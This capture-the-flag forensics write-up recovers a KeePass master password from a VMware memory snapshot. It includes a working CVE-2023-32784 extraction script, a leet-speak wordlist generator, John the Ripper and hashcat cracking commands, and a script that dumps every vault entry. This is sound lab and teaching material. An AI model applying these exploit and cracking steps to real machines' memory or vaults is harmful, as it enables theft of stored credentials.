Самосаботаж (Self-Sabotage)
Самосаботаж (Self-Sabotage)
Platform: duckerz | Category: Forensics | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-02-11 | Status: Solved Techniques: keepass_hash_cracking, keepass_memory_leak, leet_bruteforce, vmem_analysis
Summary
Task: VMware memory snapshot with KeePass database. Solution: Exploited CVE-2023-32784 to extract master password characters from memory, generated leet-speak wordlist, cracked KeePass hash with John the Ripper.
Самосаботаж (Self-Sabotage) — duckerz CTF
Description
Я - гений самосаботажа. Поставил безумно сложный пароль на менеджер паролей, торжественно его забыл, а теперь не могу зайти даже в свой кошелек с мемами. Чудом угадал комбинацию, спасибо мышечной памяти. Я даже сделал снапшот на всякий случай.
"I'm a genius of self-sabotage. Set an insanely complex password on my password manager, ceremoniously forgot it, and now I can't even access my meme wallet. Miraculously guessed the combination, thanks to muscle memory. I even made a snapshot just in case."
Category: Forensics
Difficulty: Medium
Points: 300
Author: pigadoor
File: forgotten.zip → forgotten/kdbx.vmem (1 GB VMware memory snapshot)
Analysis
Step 1: File Identification
bash read-only • copy allowed$ unzip forgotten.zip $ ls -lh forgotten/ -rw-r--r-- 1 user user 1.0G kdbx.vmem $ file forgotten/kdbx.vmem kdbx.vmem: data # VMware memory snapshot
The .vmem file is a VMware virtual machine memory dump. Size is 1 GB.
Step 2: Reconnaissance with strings
bash read-only • copy allowed$ strings -el kdbx.vmem | grep -i keepass KeePass Password Safe 2 c:\program files\keepass password safe 2\keepass.exe $ strings -el kdbx.vmem | grep -i "\.kdbx" C:\Users\pigad\Desktop\MyPasswords.kdbx $ strings -el kdbx.vmem | grep -i "download.*kdbx" https://download.tasks.duckerz.ru/KDBX/MyPasswords.kdbx
Key findings:
- KeePass Password Safe 2 (version 2.52) installed on the machine
- Password database:
C:\Users\pigad\Desktop\MyPasswords.kdbx - User:
pigad(pigadoor — task author) - URL for downloading the kdbx file
Step 3: Obtaining the KeePass Database
bash read-only • copy allowed$ wget https://download.tasks.duckerz.ru/KDBX/MyPasswords.kdbx
The .kdbx file is an encrypted KeePass database; a master password is required to open it.
Solution
Step 4: CVE-2023-32784 — Master Password Leak from Memory
KeePass 2.x before version 2.54 has a critical vulnerability: when entering the master password, the SecureTextBoxEx component creates .NET strings in memory like ●●●X (bullet characters + last typed character). These strings remain in memory and allow recovering the password character by character.
Key points:
- The first character is NOT recoverable (0 bullets = no pattern)
- Each position may have multiple candidates
- Bullet
●in UTF-16LE =0x25CF
python read-only • copy allowed#!/usr/bin/env python3 """ CVE-2023-32784 exploit — extracting KeePass master password from memory dump. Scans vmem file for ●●●X patterns (bullet + typed char). """ import re from collections import defaultdict BULLET = b'\xcf\x25' # ● in UTF-16LE def extract_keepass_password(vmem_path): with open(vmem_path, 'rb') as f: data = f.read() candidates = defaultdict(set) # Search for patterns: N bullets + 1 character (UTF-16LE) # Each bullet = 2 bytes (CF 25), character = 2 bytes for match in re.finditer(b'(?:\xcf\x25)+[^\xcf][\x00-\x7f]', data): seq = match.group() n_bullets = seq.count(b'\xcf\x25') if n_bullets < 1 or n_bullets > 100: continue # Last 2 bytes — the character char_bytes = seq[-2:] try: char = char_bytes.decode('utf-16-le') if char.isprintable() and not char == '●': candidates[n_bullets].add(char) except: pass # Output results if not candidates: print("No candidates found") return max_pos = max(candidates.keys()) print(f"Password length: ~{max_pos + 1} chars (position 0 unknown)") for pos in range(1, max_pos + 1): chars = candidates.get(pos, {'?'}) print(f" Position {pos}: {sorted(chars)}") extract_keepass_password('forgotten/kdbx.vmem')
Scan Results
The script recovered 91 positions (positions 1-91, position 0 unknown). From the candidates, a phrase emerges:
??WhyDoIKeepForgettingPasswordsMaybeIShouldJustUsePassword123ButThatsTooBasicSoHereWeGoAgain
Total password length: 92 characters (2 unknown prefix characters + 90-character phrase).
Many positions had alternative leet-speak candidates:
e↔3o↔0I↔1a↔4
Step 5: Extracting the KeePass Hash
bash read-only • copy allowed$ keepass2john MyPasswords.kdbx > kdbx_hash.txt $ cat kdbx_hash.txt MyPasswords:$keepass$*2*60000*0*0e11ba1745e05e854abdba181fc6201e79c0996a3fc9747fa0a28011fb122db0*...
Parameters: KeePass v2, 60000 iterations SHA256+AES — slow hash (~176 p/s on CPU).
Step 6: Generating Wordlist with Leet-Speak Variants
python read-only • copy allowed#!/usr/bin/env python3 """ Wordlist generation from CVE-2023-32784 recovered candidates. Iterating through leet-speak combinations for each position. """ import itertools # Base phrase with alternatives for each position # Format: list of candidate lists for each position phrase_candidates = [ # Positions 0-1: unknown (trying common variants) list("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#"), list("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#"), # Positions 2+: recovered candidates (with leet variants) ['W'], ['h'], ['y'], ['D'], ['o', '0'], # WhyDo ['I', '1'], ['K'], ['e', '3'], ['e', '3'], ['p'], # IKeep # ... (all 90 positions with candidates) ] # Generating ~2M combinations with open('wordlist.txt', 'w') as f: for combo in itertools.product(*phrase_candidates): f.write(''.join(combo) + '\n') print(f"Generated {sum(1 for _ in open('wordlist.txt'))} candidates")
Total generated: ~2 million candidates.
Step 7: Cracking with John the Ripper
bash read-only • copy allowed$ john --wordlist=wordlist.txt kdbx_hash.txt Using default input encoding: UTF-8 Loaded 1 password hash (KeePass [SHA256 AES 32/64]) Cost 1 (iteration count) is 60000 for all loaded hashes Press 'q' or Ctrl-C to abort, almost any other key for status <CRACKED_PASSWORD> (MyPasswords) 1g 0:00:XX:XX DONE (2026-02-11) 176.3p/s Session completed
Speed ~176 passwords/sec due to 60000 KeePass iterations. Password found!
Step 8: Opening the KeePass Database
python read-only • copy allowed#!/usr/bin/env python3 from pykeepass import PyKeePass kp = PyKeePass('MyPasswords.kdbx', password='<CRACKED_PASSWORD>') for entry in kp.entries: print(f"Title: {entry.title}") print(f"Username: {entry.username}") print(f"Password: {entry.password}") print("---")
KeePass Database Contents
| Title | Username | Password |
|---|---|---|
| InfiniteProcrastinationPortal | WobblyPigeon1 | k9IllSetThePasswordLaterMaybeTomorrowOrNextWeek |
| CatVideoSyndicate | SneakyTaco24 | DUCKERZ{REDACTED} |
| ThisIsNotAPasswordManager | QuantumFrog2 | n7JokesOnYouIStoreAllMyPasswordsInATextFileCalledSafe |
| GiggleMuffinUniversity | DiscoSloth7 | p3GraduatedWithHonorsI... |
The flag was in the CatVideoSyndicate entry.
Reference
CVE-2023-32784 (KeePass SecureTextBoxEx Memory Leak)
- Affected versions: KeePass 2.x before 2.54
- Issue: When entering password in
SecureTextBoxEx, .NET creates intermediate strings●●●Xin memory - What's recoverable: All characters except the first (position 0 has no bullets)
- Bullet:
●= U+25CF, in UTF-16LE =0xCF 0x25 - Limitations: May have false positives, multiple candidates per position
- Fixed: In KeePass 2.54 (June 2023)
Attack Chain
VMware snapshot (.vmem)
→ strings / CVE-2023-32784 scan
→ Partial master password recovery
→ Leet-speak wordlist generation
→ keepass2john + John the Ripper
→ pykeepass → FLAG
Useful Tools
bash read-only • copy allowed# Reconnaissance in memory dump strings -el dump.vmem | grep -i keepass strings -el dump.vmem | grep -i "\.kdbx" # Extracting KeePass hash keepass2john database.kdbx > hash.txt # Cracking the hash john --wordlist=wordlist.txt hash.txt hashcat -m 13400 hash.txt wordlist.txt # Opening database from Python pip install pykeepass
Alternative Tools for CVE-2023-32784
- keepass-dump-masterkey — original PoC in C#
- keepass-password-dumper — Python version
- Custom script (as in this solution) — more control over candidates